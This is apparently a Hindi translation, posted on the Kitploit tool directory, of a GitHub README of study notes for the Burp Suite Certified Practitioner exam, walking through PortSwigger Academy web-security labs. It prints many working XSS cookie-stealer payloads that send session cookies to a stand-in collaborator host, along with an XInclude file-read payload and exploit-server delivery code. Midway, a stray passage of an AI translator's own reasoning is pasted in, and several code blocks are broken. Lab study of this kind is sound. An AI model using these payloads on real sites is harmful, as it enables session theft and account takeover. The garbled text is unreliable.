Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Burp-Suite-Certified-Practitioner-Exam-Study — PortSwigger Academy लैब्स के लिए व्यावहारिक अध्ययन नोट्स और वॉकथ्रू, जिनमें वेब भेद्यताएँ, पेलोड, एन्यूमरेशन और BSCP परीक्षा रणनीतियाँ शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/botesjuan/burp-suite-certified-practitioner-exam-study
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाचयनित संसाधनपेलोड डेवलपमेंटलर्निंग पाथ और कोर्सलैब और अभ्यास
GitHubbotesjuan/burp-suite-certified-practitioner-exam-study
1.5k3874 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Burp-Suite-Certified-Practitioner-Exam-Study

PortSwigger Academy लैब्स के लिए व्यावहारिक अध्ययन नोट्स और वॉकथ्रू, जिनमें वेब भेद्यताएँ, पेलोड, एन्यूमरेशन और BSCP परीक्षा रणनीतियाँ शामिल हैं।

रिपॉजिटरी देखें

Burp Suite Certified Practitioner परीक्षा अध्ययन

यह मेरे अध्ययन नोट्स हैं जिनमें 110 से अधिक PortSwigger Academy Labs शामिल हैं। मैंने इन लैब्स का उपयोग Burp Suite Certified Practitioner परीक्षा 2023 पास करने के लिए किया। मेरी BSCP योग्यता।
अधिक जानकारी के लिए PortSwigger Academy पर जाएं ताकि नवीनतम शिक्षण सामग्री प्राप्त हो सके।


स्कैनिंग - एन्यूमरेशन
फोकस स्कैनिंग
गैर-मानक इकाइयों को स्कैन करें

फुटहोल्ड - चरण 1
कंटेंट डिस्कवरी
DOM-XSS
XSS क्रॉस-साइट स्क्रिप्टिंग
वेब कैश पॉइज़न
होस्ट हेडर
HTTP रिक्वेस्ट स्मगलिंग
ब्रूट फोर्स
प्रमाणीकरण

विशेषाधिकार एस्केलेशन - चरण 2
CSRF - अकाउंट टेकओवर
पासवर्ड रीसेट
SQLi - SQL इंजेक्शन
JWT - JSON वेब टोकन
प्रोटोटाइप पॉल्यूशन
API परीक्षण
एक्सेस कंट्रोल
GraphQL API एंडपॉइंट
CORS - क्रॉस-ओरिजिन रिसोर्स शेयरिंग

डेटा एक्सफिल्ट्रेशन - चरण 3
XXE - XML इकाइयाँ और इंजेक्शन
SSRF - सर्वर-साइड रिक्वेस्ट फोर्जरी
SSTI - सर्वर-साइड टेम्पलेट इंजेक्शन
SSPP - सर्वर-साइड प्रोटोटाइप पॉल्यूशन
LFI - फ़ाइल पाथ ट्रैवर्सल
फ़ाइल अपलोड
डिसीरियलाइज़ेशन
OS कमांड इंजेक्शन

अनुबंध
Python स्क्रिप्ट्स
पेलोड
वर्ड लिस्ट
फोकस टार्गेट स्कैनिंग
दृष्टिकोण
अतिरिक्त प्रशिक्षण सामग्री

मेरे Burp टिप्स

मैं अनुशंसा करता हूँ कि परीक्षा से पहले अपने कौशल का परीक्षण करने और कमजोरियों की पहचान करने में लगने वाले समय को कम करने के लिए जितना संभव हो उतने Mystery lab challenge करें।
मुझे अपनी परीक्षा दोबारा देने पर PortSwigger की यह सलाह भी बहुत जानकारीपूर्ण लगी।
2024 में BSCP परीक्षा पर नया दृष्टिकोण पाने के लिए CryptoCat - Burp Suite Certified Professional (BSCP) समीक्षा + टिप्स/ट्रिक्स देखें।




Buy Me A Coffee

समर्थित कॉफ़ी के लिए धन्यवाद, \o/

मेरा Burp Suite Certified Practitioner प्रमाणपत्र।


स्कैनिंग

वेब अनुप्रयोगों की एन्यूमरेशन समय-सीमित अभियान में प्रारंभिक और निर्देशित स्कैनिंग के साथ शुरू होती है।

फोकस स्कैनिंग
गैर-मानक इकाइयों को स्कैन करें

फोकस स्कैनिंग

अभियान या परीक्षा के दौरान सख्त समय सीमा के कारण, विशिष्ट अनुरोधों के लिए परिभाषित इंसर्शन पॉइंट स्कैन करें।

scan-defined-insertion-points

स्कैनर ने storeId पैरामीटर पर XML इंजेक्शन कमजोरी का पता लगाया और इससे Carlos की गोपनीय फ़ाइल पढ़ने में मदद मिली।```xml <xi:include parse="text" href="file:///home/carlos/secret"/>

root@kitploit:~
>Out of band XInclude अनुरोध, स्थानीय फ़ाइल पढ़ने के लिए होस्टेड DTD की आवश्यकता है।```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

PortSwigger Lab: लक्षित स्कैनिंग द्वारा तेज़ी से कमजोरियों की खोज

गैर-मानक डेटा संरचनाओं को स्कैन करना

प्रतिक्रियाओं या अनुरोधों में चयनित टेक्स्ट के लिए चयनित इंसर्शन पॉइंट को स्कैन करने वाली बर्प सुविधा का उपयोग करके गैर-मानक डेटा संरचनाओं को स्कैन करना।

scan-selected-insertion-point

बर्प स्कैनर के इश्यू परिणामों के माध्यम से कमजोरी की पहचान करें।
इस मामले में, पहचाने गए XSS का उपयोग करके, पहचाने गए इंसर्शन पॉइंट में पेलोड तैयार करके एडमिन उपयोगकर्ता के कुकीज़ चुराएँ।``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

root@kitploit:~
>मुख्य वर्णों को URL एनकोड करें।  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>व्यवस्थापक पैनल तक पहुँचने के लिए व्यवस्थापक उपयोगकर्ता की कुकी को वर्तमान ब्राउज़र सत्र में बदलकर उपयोग करें।  

[PortSwigger लैब: गैर-मानक डेटा संरचनाओं की स्कैनिंग](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# फ़ुटहोल्ड  
  
# सामग्री खोज  

>लक्ष्य का सूचीकरण वेब निर्देशिकाओं और फ़ाइलों के फ़ज़िंग से शुरू होता है। छिपे हुए पथ और फ़ाइलों को खोजने के लिए या तो Burp engagement tools, content discovery विकल्प का उपयोग करें या वेब निर्देशिकाओं और फ़ाइलों को सूचीबद्ध करने के लिए `FFUF` का उपयोग करें। `robots.txt` या `sitemap.xml` को देखने से सामग्री का पता चल सकता है।```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Burp एंगेजमेंट टूल, मेरी संकलित शब्द सूची burp-labs-wordlist को कस्टम फ़ाइल सूची के रूप में उपयोग करके सामग्री खोज।

content-discovery.png

स्थानीय डाउनलोड की गई प्रति पर git रिपॉजिटरी की ब्रांचों की जाँच करें, git-cola टूल का उपयोग करके। फिर अंतिम कमिट पूर्ववत करें चुनें और डिफ़ विंडो से एडमिन पासवर्ड निकालें।``` wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

root@kitploit:~
![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger Lab: संस्करण नियंत्रण इतिहास में सूचना प्रकटीकरण](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>हमेशा `source code` खोलें, ताकि कोई डेवलपर टिप्पणी मिल सके जो छिपी फ़ाइलों या पथों को प्रकट करती है। नीचे दिया गया उदाहरण [symphony token deserialization](#deserialization) की ओर ले जाता है।  

![DEV code debug comment deserial](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## DOM-Based XSS  

[DOM XSS संकेतक](#identify-dom-xss)  
[DOM Invader के साथ पहचाना गया DOM XSS](#dom-invader)  
[DOM XSS AngularJS](#vuln-angularjs)  
[select में DOM XSS document.write](#doc-write-location-search)  
[DOM XSS JSON.parse वेब संदेश](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)  
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)  

### Identify DOM-XSS  

>DOM-आधारित XSS कमजोरियाँ तब उत्पन्न होती हैं जब JavaScript किसी हमलावर-नियंत्रणीय स्रोत, जैसे URL, से डेटा लेती है और उसे एक ऐसे sink तक पहुँचाती है जो गतिशील कोड निष्पादन का समर्थन करता है। 
>नीचे दिए गए फ़ज़र स्ट्रिंग का उपयोग करके परीक्षण करें कि कौन से वर्ण `source code` इंजेक्शन बिंदु से escape करने में सक्षम बनाते हैं।```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

source code की समीक्षा करके उन स्रोतों, सिंक या विधियों की पहचान करें जो शोषण की ओर ले जा सकते हैं, नमूनों की सूची:

  • document.write()
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener
  • sanitizeKey()

Dom Invader

Dom Invader प्लग-इन का उपयोग करें और कैनरी को ऐसे मान पर सेट करें, जैसे domxss, तो यह उन DOM-XSS सिंक का पता लगाएगा जिनका शोषण किया जा सकता है।

DOM Invader

भेद्य AngularJS

नीचे दिया गया AngularJS एक्सप्रेशन खोज फ़ंक्शन में तब इंजेक्ट किया जा सकता है जब कोण कोष्ठक और दोहरे उद्धरण HTML-एन्कोडेड हों। भेद्यता की पहचान यह देखकर होती है कि खोज स्ट्रिंग ng-app निर्देश के भीतर संलग्न है और /js/angular 1-7-7.js स्क्रिप्ट शामिल है। AngularJS एप्लिकेशन के रूट तत्व के रूप में संकेत देने वाले ng-app निर्देश की पहचान करने के लिए HTML कोड की समीक्षा करें।

domxss-on-constructor.png

PortSwigger लैब का पेलोड नीचे दिया गया है:```JavaScript {{$on.constructor('alert(1)')()}}

root@kitploit:~
>[कुकी चुराने वाला पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) `on.constructor` का उपयोग करता है, जिसे iframe में रखा जा सकता है, एक एक्सप्लॉइट सर्वर पर होस्ट किया जा सकता है, जिसके परिणामस्वरूप पीड़ित का सत्र कुकी Burp Collaborator को भेज दिया जाता है।  
>[क्रॉस-साइट स्क्रिप्टिंग संदर्भ के लिए PortSwigger चीट शीट](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

नोट: XSS सफल होने के लिए सत्र कुकी प्रॉपर्टी पर HttpOnly सुरक्षा फ़्लैग सेट नहीं होना चाहिए।

domxss-on-constructor.png

PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

z3nsh3ll इस लैब में constructor vulnerability पर अद्भुत विस्तृत समझ देते हैं - YouTube

Doc Write Location खोज

लक्ष्य स्टॉक चेक फ़ंक्शन में DOM-XSS के प्रति संवेदनशील है। source code से पता चलता है कि document.write सिंक है जो location.search के साथ उपयोग किया जाता है, जिससे हम storeId क्वेरी पैरामीटर को JavaScript पेलोड वाले मान के साथ <select> स्टेटमेंट के अंदर जोड़ सकते हैं।

DOM-XSS doc write inside select

नीचे दिए गए पेलोड का उपयोग करके संशोधित GET अनुरोध में इंजेक्शन की पहचान करने के लिए परीक्षण करें, "> का उपयोग करके escape करें।```html /product?productId=1&storeId=fuzzer">fuzzer

root@kitploit:~
![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [कुकी चुराने वाला पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) एक `document.write` सिंक में, स्रोत `location.search` का उपयोग करके, `<select>` एलिमेंट के अंदर। इसे पीड़ित को एक्सप्लॉइट सर्वर के माध्यम से `

JSON_parse_web_messages_Exploit_server_Payload.png

iframe onload मानों के अंत में एक "*" है, यह इंगित करने के लिए कि लक्ष्य कोई भी है।

ब्राउज़र DEV tools कंसोल का उपयोग करके ब्राउज़र में एक असुरक्षित परीक्षण कुकी सेट करें, जिसका उपयोग POC XSS के परीक्षण के दौरान किया जा सके।
कुकी चुराने वाले पेलोड।```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

root@kitploit:~
![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger Lab: वेब संदेशों और JSON.parse का उपयोग करके DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader का उपयोग वेब संदेशों के माध्यम से DOM XSS की पहचान और परीक्षण के लिए किया गया  

![DOM Invader वेब संदेशों की पहचान करता है](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>JSON डेटा को बदलने के बाद DOM Invader का उपयोग करके पोस्ट संदेश को दोबारा भेजें।```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

DOM Invader वेब संदेश पुनः भेजें

PortSwigger: PortSwigger DOM Invader का उपयोग करके DOM XSS पहचानें

DOM XSS AddEventListener JavaScript URL

पृष्ठ के source code की समीक्षा करने पर, हम वेब संदेश के लिए addeventlistener कॉल की पहचान करते हैं, लेकिन एक if शर्त है जो जाँचती है कि स्ट्रिंग में http/s है या नहीं।

source-code-web-message-url.png

नीचे दिया गया एक्सप्लॉइट सर्वर-होस्टेड पेलोड https स्ट्रिंग शामिल करता है, और if शर्त की जाँच को बायपास करने में सफल रहता है।```html

root@kitploit:~
![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

एक बार पीड़ित का कुकी अपडेट हो जाने पर, एक्सप्लॉइट सर्वर लॉग उनके गुप्त कुकी मान को कैप्चर कर लेता है।  

>***ShehmeerAbidRajput*** की महान सहायता से, मैंने इस लैब को उनके प्रदान किए गए कुकी चुराने वाले पेलोड के साथ अपडेट किया।  

[PortSwigger लैब: DOM-आधारित कुकी हेरफेर](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## क्रॉस-साइट स्क्रिप्टिंग  

[XSS संसाधन](#xss-resources)  
[अनुमत टैग पहचानें](#identify-allowed-tags)  
[अवरुद्ध टैग बायपास करें](#bypass-blocked-tags)  
[XSS प्रोटोकॉल असाइन करें](#xss-assign-protocol)  
[कस्टम टैग अवरुद्ध नहीं हैं](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[रिफ्लेक्टेड स्ट्रिंग XSS](#reflected-string-xss)  
[रिफ्लेक्टेड स्ट्रिंग अतिरिक्त एस्केप](#reflected-string-extra-escape)  
[AngularJS सैंडबॉक्स एस्केप](#angularjs-sandbox-escape)  
[XSS टेम्पलेट लिटरल](#xss-template-literal)  
[JSON के माध्यम से EVAL में XSS](#xss-via-json-into-eval)  
[संग्रहीत XSS](#stored-xss)  
[संग्रहीत DOM XSS](#stored-dom-xss)  
[SVG अपलोड में XSS](#xss-svg-upload)  

### XSS संसाधन  

>XSS संसाधन पृष्ठ **टैग** और **इवेंट** के लिए पेलोड देखने हेतु हैं।  

+ [क्रॉस-साइट स्क्रिप्टिंग (XSS) चीट शीट](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS अध्ययन नोट्स XSS पर](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>CSP Evaluator उपकरण यह जाँचने के लिए है कि क्या XSS हमलों को कम करने के लिए सामग्री सुरक्षा नीति मौजूद है। उदाहरण के लिए यदि `base-uri` अनुपस्थित है, तो यह भेद्यता हमलावर को [संग्रहीत self-XSS को अपग्रेड करें](#upgrade-stored-self-xss) पर वर्णित वैकल्पिक शोषण विधि का उपयोग करने की अनुमति देगा।  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  

>जब इनपुट फ़ील्ड की अधिकतम लंबाई केवल 23 अक्षर हो, तो **Tiny XSS Payloads** के लिए इस संसाधन का उपयोग करें।  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>POC XSS के परीक्षणों में उपयोग के लिए ब्राउज़र DEV टूल्स कंसोल का उपयोग करके ब्राउज़र में एक असुरक्षित परीक्षण कुकी सेट करें [कुकी चुराने वाले पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md)।```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

अनुमत टैग्स की पहचान करें

HTTP अनुरोध में प्राप्त डेटा को संभालने के लिए एप्लिकेशन सुरक्षा फ़िल्टर नियंत्रणों की पहचान करने हेतु बुनियादी XSS Payloads।```html

root@kitploit:~
Chunk empty? Need handle. Maybe no content after. We need not output anything? But developer says produce raw markdown. If no input, maybe output empty string. But be careful: The user explicitly says chunk 41 of 303 but input blank. Need maybe respond with nothing. However system says "Return ONLY translated text." If source empty, translated is empty. But maybe there is hidden missing? We need not add commentary.

Let's check user message exactly: It includes all the instructions and then ends with "INPUT:" and no actual content. Could be that due to formatting, the content might be omitted? The content field: "Translate the following Kitploit tool content... INPUT:" No content. Therefore return empty. But maybe need include newline? No.

Given constraints, output empty.```html
"><svg><animatetransform onbegin=alert(1)>

(empty response)``` <>'"

root@kitploit:~
>उपरोक्त पेलोड सबमिट करने पर प्रतिक्रिया संदेश मिल सकता है, ***"टैग की अनुमति नहीं है"*** वेब एप्लिकेशन फ़ायरवॉल (WAF) द्वारा इंजेक्शन ब्लॉक करने के कारण।
>फिर [PortSwigger अकादमी कार्यप्रणाली](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) का उपयोग करके अनुमत टैगों की ***पहचान करें***।  

>URL और Base64 ऑनलाइन एन्कोडर और डिकोडर  

+ [URL डिकोड और एन्कोड](https://www.urldecoder.org/)  
+ [BASE64 डिकोड और एन्कोड](https://www.base64encode.org/)  
  
>यह लैब POC XSS तैयार करने के लिए अनुमत HTML टैग और इवेंट की ***पहचान करने*** हेतु बेहतरीन **कार्यप्रणाली** प्रदान करती है।  

>एक्सप्लॉइट सर्वर पर **iframe** कोड होस्ट करें और पीड़ित को एक्सप्लॉइट लिंक भेजें।```html

अवरुद्ध टैग्स को बायपास करें

एप्लिकेशन नियंत्रण संदेश देते हैं, "टैग की अनुमति नहीं है" जब बुनियादी XSS पेलोड डाले जाते हैं, लेकिन ऊपर methodology का उपयोग करके SVG मार्क-अप की अनुमति पता चलती है। यह पेलोड POC के रूप में मेरा अपना सत्र कुकी चुरा लेता है।```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

root@kitploit:~
>उपरोक्त पेलोड को एक्सप्लॉइट सर्वर पर रखें और पीड़ित तक पहुंचाने से पहले सर्च वैल्यू के साथ URL को एक ```iframe``` में डालें।```html

svg animatetransform XSS

PortSwigger लैब: कुछ SVG मार्कअप के साथ परावर्तित XSS की अनुमति है

XSS असाइन प्रोटोकॉल

सर्च फ़ंक्शन में कुछ भी एन्कोड नहीं होने के साथ HTML संदर्भ में XSS का परीक्षण करने के लिए लैब। इस लैब का उपयोग PortSwigger XSS शोध द्वारा पहचाने गए location के साथ Assignable protocol javascript एक्सप्लॉइट का परीक्षण करने के लिए किया जा रहा है। पेलोड में %0a ASCII न्यूलाइन वर्ण का प्रतिनिधित्व करता है।```html

#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html
root@kitploit:~
![XSS प्रोटोकॉल स्थान](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger लैब: रिफ्लेक्टेड XSS बिना किसी एन्कोडिंग के HTML कॉन्टेक्स्ट में](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### कस्टम टैग ब्लॉक नहीं किए जाते  
  
>एप्लिकेशन XSS पेलोड डालने का प्रयास करने पर ***"टैग की अनुमति नहीं है"*** संदेश के साथ प्रतिक्रिया करता है, लेकिन यदि हम एक कस्टम टैग बनाते हैं तो इसे बायपास किया जाता है।```html
<xss+id=x>#x';

पहचानें कि उपरोक्त कस्टम टैग खोज फ़ंक्शन में ब्लॉक नहीं है, प्रतिक्रिया का अवलोकन करके। सत्र कुकी को आउट-ऑफ-बैंड चुराने के लिए नीचे दिया गया payload बनाएं।```

root@kitploit:~
>**नोट:** ```x``` आईडी वाला कस्टम टैग, जिसमें एक **onfocus** इवेंट हैंडलर है जो ```document.location``` फ़ंक्शन को ट्रिगर करता है। URL के अंत में **हैश** `#` वर्ण पृष्ठ लोड होते ही इस तत्व पर फोकस करता है, जिससे पेलोड कॉल हो जाता है। पेलोड स्क्रिप्ट को एक्सप्लॉइट सर्वर पर ```script``` टैग में होस्ट करें, और पीड़ित को भेजें। नीचे वही पेलोड है, लेकिन **URL-एन्कोडेड** प्रारूप में।```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

कस्टम XSS टैग

PortSwigger लैब: कस्टम टैग्स को छोड़कर सभी टैग्स ब्लॉक होने पर HTML कॉन्टेक्स्ट में रिफ्लेक्टेड XSS

z3nsh3ll - XSS हमलों के लिए कस्टम टैग्स समझाते हुए

OnHashChange

नीचे दिया गया iframe URL के अंत में HASH # वर्ण का उपयोग करके OnHashChange XSS कुकी स्टीलर को ट्रिगर करता है।```JavaScript

root@kitploit:~
>ध्यान दें यदि कुकी पर **HttpOnly** फ्लैग सक्षम है, तो कुकी को XSS का उपयोग करके चुराया नहीं जा सकता।  

>PortSwigger Lab पेलोड प्रिंट करने के लिए।```JavaScript

नोट: source code में शामिल कमजोर jquery 1.8.2 संस्करण की पहचानें, hashchange पर CSS सेलेक्टर क्रिया के साथ।

Hashchange

PortSwigger प्रयोगशाला: hashchange इवेंट का उपयोग करके jQuery सेलेक्टर सिंक में DOM XSS

Crypto-Cat: hashchange इवेंट का उपयोग करके jQuery सेलेक्टर सिंक में DOM XSS

परावर्तित स्ट्रिंग XSS

खोज स्ट्रिंग सबमिट करने और खोज परिणाम पृष्ठ के source code की समीक्षा करने पर, JavaScript स्ट्रिंग चर को searchTerms नामक चर के साथ source code में खोज स्ट्रिंग tracker.gif को प्रतिबिंबित करने के रूप में पहचाना जाता है।```html

0 search results for 'fuzzer'


Search
``` ![सिंगल कोट और बैकस्लैश से एस्केप की गई JavaScript स्ट्रिंग](https://assets.kitploit.com/production/public/readmes/51008/5b9fe5c935404a0d67be444540f2e3e5551704688177c8be60e1b6e4220629a0/eacace6120375cbd27292f7df1a7709a2021fc80bbd04914972252ffc37a97cd-display-v1.webp)

एक पेलोड test'payload का उपयोग करके देखें कि एक single quote बैकस्लैश-escaped हो जाता है, जिससे string से बाहर निकलने से रोका जा सके।```JavaScript

root@kitploit:~
>पेलोड को एक कुकी चुराने वाले में बदलना जो सत्र टोकन को Burp Collaborator तक पहुँचाता है।```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

collaborator get cookies

जब इस पेलोड को iframe में रखा जाता है, तो लक्ष्य एप्लिकेशन इसे एम्बेड होने की अनुमति नहीं देता और संदेश देता है: refused to connect.

PortSwigger Lab: JavaScript स्ट्रिंग में रिफ्लेक्टेड XSS जिसमें सिंगल कोट और बैकस्लैश एस्केप किए गए हैं

BSCP परीक्षा में, नीचे दिए गए पेलोड को एक्सप्लॉइट सर्वर पर <script> टैग के अंदर होस्ट करें, और इससे पहले नीचे की खोज क्वेरी URL एन्कोडेड होती है।```

root@kitploit:~
>Exploit Server search term में reflected भेद्यता होस्ट कर रहा है, जिसे पीड़ित को उनका session cookie प्राप्त करने के लिए भेजा जाता है।```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

एप्लिकेशन ने Tag is not allowed त्रुटि संदेश दिया, और इसे </ScRiPt > का उपयोग करके बायपास किया जाता है।

रिफ्लेक्टेड स्ट्रिंग अतिरिक्त एस्केप

source code में searchTerms नामक वेरिएबल देखें, और fuzzer'payload पेलोड सबमिट करते समय, देखें कि सिंगल कोट बैकस्लैश से एस्केप हो गया है, और फिर एक fuzzer\payload पेलोड भेजें और पहचानें कि बैकस्लैश एस्केप नहीं हुआ है।``` '-alert(1)//

fuzzer';console.log(12345);//

fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//

root@kitploit:~
>एक **बैकस्लैश**, एकल उद्धरण और **सेमीकोलन** का उपयोग करके हम JavaScript स्ट्रिंग वेरिएबल से बाहर निकलते हैं, फिर बैक टिक्स का उपयोग करके ```document.location``` पथ को संलग्न करते हैं, जिससे कुकी स्टीलर एप्लिकेशन सुरक्षा को बायपास कर सके।```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

ट्रेवर की मदद से मैंने इसे बैकटिक्स का उपयोग करके कुकी स्टीलर पेलोड में बदल दिया। धन्यवाद ट्रेवर, यह रहा उनका यूट्यूब वॉकथ्रू XSS JavaScript String Angle Brackets Double Quotes Encoded Single

fail-escape

PortSwigger लैब: JavaScript स्ट्रिंग में परावर्तित XSS, जहाँ एंगल ब्रैकेट्स और डबल कोट्स HTML-एन्कोडेड हैं और सिंगल कोट्स एस्केप किए गए हैं

AngularJS सैंडबॉक्स एस्केप

विशेषज्ञ PortSwigger लैब अभ्यास जो AngularJS 1.4.4 का उपयोग करता है और 1.x संस्करण अपने जीवन-काल के अंत तक पहुँच चुके हैं तथा अब इनका रखरखाव नहीं किया जाता।
यह लैब AngularJS का उपयोग असामान्य तरीके से करता है जहाँ $eval फ़ंक्शन उपलब्ध नहीं है और आप AngularJS में किसी भी स्ट्रिंग का उपयोग नहीं कर पाएँगे।
उद्देश्य: एक क्रॉस-साइट स्क्रिप्टिंग हमला करना जो सैंडबॉक्स से बाहर निकलकर $eval फ़ंक्शन का उपयोग किए बिना पेलोड को निष्पादित करता है।

z3nsh3ll - यूट्यूब वीडियो बिना स्ट्रिंग्स के AngularJS सैंडबॉक्स एस्केप के साथ इस परावर्तित XSS की बेहतरीन व्याख्या देता है

पहचानें JavaScript सोर्स कोड में angular.module को:

angularJS-sandbox-escape-identify.png

key वेरिएबल का मान search गतिशील रूप से बनाए गए JavaScript में इंजेक्ट किया जाता है।
